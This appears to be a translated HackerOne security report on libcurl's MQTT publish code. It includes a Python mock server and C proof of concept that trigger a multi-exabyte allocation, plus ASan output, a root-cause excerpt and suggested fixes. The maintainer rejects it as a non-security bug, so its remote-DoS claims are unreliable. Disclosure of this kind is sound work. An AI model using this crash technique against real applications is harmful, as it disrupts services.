libcurl MQTT CURLOPT_POSTFIELDSIZE_LARGE 溢出导致即时DoS
摘要
攻击者可通过为CURLOPT_POSTFIELDSIZE_LARGE设置过大的值,使任何使用libcurl MQTT支持的应用程序崩溃或强制中止。MQTT发布逻辑(lib/mqtt.c::mqtt_publish)信任此值而不验证其是否超出协议的最大剩余长度(268,435,455),也不检查算术溢出。结果,它尝试分配一个不可能的大缓冲区(数EB),并立即失败,导致进程终止和拒绝服务。
影响
可用性:任何允许不受信任的输入影响CURLOPT_POSTFIELDSIZE(_LARGE)的服务(例如,用户控制的消息长度或代理的MQTT请求)都可以立即被关闭。单个恶意请求足以触发崩溃。
稳定性:即使在非ASan构建中,调用始终返回CURLE_OUT_OF_MEMORY;将此视为致命的应用程序(MQTT生产者常见)将关闭。使用消毒剂编译时,进程会因"分配大小过大"断言而立即中止。
范围:不需要身份验证或中间人能力。只需让客户端构造具有巨大长度的发布请求即可触发错误。
攻击场景
- 攻击者说服基于libcurl的MQTT客户端或网关发布一个大小字段设置为约4 EB(或任何超过0x0FFFFFFF的值)的消息。
- 客户端调用
curl_easy_setopt(handle, CURLOPT_POSTFIELDSIZE_LARGE, huge_value)并最终调用curl_easy_perform()。
- 在
mqtt_publish内部,libcurl计算MQTT剩余长度为payloadlen + topiclen + 2,这会绕回或超过MQTT规范限制。然后调用malloc(remaininglength + 1 + encodelen)。
malloc()无法满足请求并中止(ASan)或返回NULL(如果allocator_may_return_null=1)。无论哪种情况,应用程序都会死亡或进入故障状态,导致拒绝服务,而无需将有效负载发送到代理。
概念证明
需要两个文件:一个最小的MQTT模拟服务器和一个设置过大有效负载长度的客户端PoC。
mqtt_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
import socket
HOST, PORT = "127.0.0.1", 1883
CONNACK = b"\x20\x02\x00\x00"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
print(f"[server] listening on {HOST}:{PORT}")
conn, addr = s.accept()
with conn:
print(f"[server] accepted connection from {addr}")
data = conn.recv(1024)
print(f"[server] received {len(data)} bytes")
conn.sendall(CONNACK)
print("[server] sent CONNACK")
conn.recv(1024)
print("[server] received publish (possibly truncated)")
|
mqtt_overflow.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#include <curl/curl.h>
#include <stdio.h>
int main(void)
{
CURL *curl = curl_easy_init();
if(!curl) {
fprintf(stderr, "curl_easy_init failed\n");
return 1;
}
const char payload[] = "X"; /* 实际数据:1字节 */
const curl_off_t fake_size = ((curl_off_t)1 << 62); /* 广告约4 EB */
curl_easy_setopt(curl, CURLOPT_URL, "mqtt://127.0.0.1:1883/topic");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, fake_size);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT_MS, 2000L);
curl_easy_setopt(curl, CURLOPT_TIMEOUT_MS, 3000L);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
fprintf(stderr, "[*] requesting payload size: %lld\n", (long long)fake_size);
CURLcode res = curl_easy_perform(curl);
fprintf(stderr, "curl_easy_perform: %d\n", res);
curl_easy_cleanup(curl);
return (int)res;
}
|
构建和运行
1
2
3
4
5
6
7
8
9
10
11
12
|
# 使用CMake配置和构建启用MQTT的libcurl
cmake -S . -B build-mqtt -DCMAKE_BUILD_TYPE=Debug -DCURL_USE_LIBPSL=OFF
cmake --build build-mqtt --target libcurl_shared -- -j8
# 使用AddressSanitizer编译PoC
clang -fsanitize=address -Iinclude -Ibuild-mqtt/lib \
-Lbuild-mqtt/lib -Wl,-rpath,build-mqtt/lib \
build-mqtt/poc/mqtt_overflow.c -lcurl-d -o build-mqtt/poc/mqtt_overflow
# 启动模拟服务器并执行PoC
python3 build-mqtt/poc/mqtt_server.py &
build-mqtt/poc/mqtt_overflow
|
观察到的输出(ASan构建)
1
2
3
4
5
6
7
|
[*] requesting payload size: 4611686018427387904
* Trying 127.0.0.1:1883...
* Established connection to 127.0.0.1 (127.0.0.1 port 1883) from 127.0.0.1 port 62013
* Using client id 'curlgqXILtsX'
==12584==ERROR: AddressSanitizer: requested allocation size 0x400000000000000c ...
SUMMARY: AddressSanitizer: allocation-size-too-big mqtt.c:616 in mqtt_publish
==12584==ABORTING
|
观察到的输出(分配器可能返回NULL)
1
2
3
4
|
$ ASAN_OPTIONS=allocator_may_return_null=1 build-mqtt/poc/mqtt_overflow
[*] requesting payload size: 4611686018427387904
==13457==WARNING: AddressSanitizer failed to allocate 0x400000000000000c bytes
curl_easy_perform: 27
|
模拟服务器日志确认连接已打开,返回了CONNACK,客户端在尝试发布时立即终止。
根本原因
来自lib/mqtt.c的摘录:
1
2
3
4
5
6
7
8
9
10
|
remaininglength = payloadlen + 2 + topiclen;
encodelen = mqtt_encode_len(encodedbytes, remaininglength);
pkt = malloc(remaininglength + 1 + encodelen);
if(!pkt) {
result = CURLE_OUT_OF_MEMORY;
goto fail;
}
...
memcpy(&pkt[i], payload, payloadlen);
|
payloadlen直接来自CURLOPT_POSTFIELDSIZE_LARGE。
- 没有检查
payloadlen是否在MQTT规范(最大剩余长度0x0FFFFFFF)或任何安全内存边界内。
remaininglength + 1 + encodelen在size_t中计算,因此它可以绕回或超过实际内存限制。
- 失败时,函数永远不会到达发布阶段,有效地在发送任何数据之前使客户端崩溃。
推荐的缓解措施
- 验证payloadlen:拒绝任何
payloadlen > 0x0FFFFFFF - (topiclen + 2)的请求,并返回CURLE_BAD_FUNCTION_ARGUMENT。
- 溢出防护:在调用
malloc之前,确保总和remaininglength + 1 + encodelen不会溢出并适合合理的边界。
- 协议合规性:考虑将
mqtt_encode_len限制为4字节,并在编码长度超过MQTT的剩余长度限制时中止。
- 回归测试:添加单元或集成测试,尝试设置过大的
CURLOPT_POSTFIELDSIZE_LARGE并确保调用优雅地失败。
环境
- macOS 15.0 (24A335)
- Apple Clang 17.0.0.17000319
- curl 8.17.1-dev(启用MQTT的CMake构建)
- AddressSanitizer(默认设置)和无ASan的libc运行时
严重性
中等 — 通过整数溢出/不受控制的资源消耗导致的拒绝服务(CWE-190 / CWE-400)。
参考
- MQTT规范(v3.1.1)— 剩余长度字段限制为268,435,455
- curl安全计划:https://hackerone.com/curl
影响
- 远程攻击者可以通过广告过大的MQTT有效负载强制终止任何基于libcurl的MQTT客户端或服务。
- 畸形请求导致libcurl尝试分配数EB,这会立即中止进程(ASan)或返回
CURLE_OUT_OF_MEMORY,有效地拒绝服务。
- 不需要身份验证或特殊网络位置;单个恶意发布请求足以使应用程序崩溃。
附件
2个附件:
- F4983213: mqtt_overflow.c
- F4983214: mqtt_server.py
讨论时间线
- 2天前:jiyong向curl提交报告。
- 2天前:bagder(curl工作人员)发表评论感谢报告,表示将调查。
- 2天前:bagder认为这不是libcurl的安全问题,只是一个错误。
- 2天前:bagder提交PR https://github.com/curl/curl/pull/19415。
- 21小时前:bagder关闭报告并将状态更改为Informative。
- 21小时前:bagder请求披露此报告。
- 17小时前:jiyong请求重新考虑问题分类,认为这是远程未经验证的拒绝服务向量,可能符合CVE资格。
- 16小时前:bagder回应认为没有可行的攻击,不太可能触发。
- 16小时前:jiyong感谢回应,所有问题现已关闭。
- 16小时前:bagder披露此报告。